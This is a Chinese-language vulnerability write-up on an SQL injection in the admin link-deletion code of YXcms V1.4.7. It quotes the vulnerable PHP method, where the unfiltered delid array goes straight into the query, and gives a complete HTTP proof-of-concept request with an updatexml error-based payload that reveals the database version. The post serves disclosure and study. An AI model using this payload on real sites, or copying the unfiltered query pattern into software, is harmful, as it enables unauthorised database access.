YXcms后台SQL注入漏洞

Yxcms是一款基于PHP和mysql技术的企业建站系统。 YXcms V1.4.7后台友情链接管理处存在SQL注入漏洞。

漏洞代码位置在 `www\protected\apps\admin\controller\linkController.php` 108行 del 方法处。

```
public function del()
    {
        if(!$this->isPost()){
            $id=intval($_GET['id']);
            if(empty($id)) $this->error('您没有选择~');
            $coverpic=model('link')->find("id='$id'",'picture');
            $picpath=$this->uploadpath.$coverpic[picture];
            if(file_exists($picpath)) @unlink($picpath);
            if(model('link')->delete("id='$id'"))
            echo 1;
            else echo '删除失败~';
        }else{
            if(empty($_POST['delid'])) $this->error('您没有选择~');
            $delid=implode(',',$_POST['delid']);
            $coverpics=model('link')->select('id in ('.$delid.')','picture');
            foreach($coverpics as $vo){
                if(!empty($vo[picture])){
                    $picpath=$this->uploadpath.$vo[picture];
                    if(file_exists($picpath)) @unlink($picpath);
                }
            }
            if(model('link')->delete('id in ('.$delid.')'))
            $this->success('删除成功',url('link/index'));
        }
    }
```

这里先if判断传递的方式，是否是post提交，可以看到 如果是get 请求，会用intval过滤参数 ，所以这里无法注入。else判断条件，这里判断post请求传递过来的 delid 参数值是否为空。然后用 implode 函数返回 成字符串，没有任何过滤直接进入 sql查询，导致sql注入漏洞。

漏洞证明：

在友情链接列表出，选择批量删除链接列表，burp抓包，修改delid的值。

```
POST /index.php?r=admin/link/del HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101
Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://localhost/index.php?r=admin/link/index
Content-Type: application/x-www-form-urlencoded
Content-Length: 175
Cookie: PHPSESSID=o7inbqa0vnohrs7dnmqdmksqp0
Connection: close
Upgrade-Insecure-Requests: 1

delid%5B%5D=5&delid%5B%5D=4) or updatexml(1,concat(0x7e,
(version())),0)#&__hash__=01c2e0882e7d47fcb5b1d5a7e6744e52_dc44XA%2BMbfCEVG4KluF
%2BYu6pkMMh4tUdckcNBsxy7FsEASTHYrWZwMsK
```

重放数据包，显示当前数据库版本。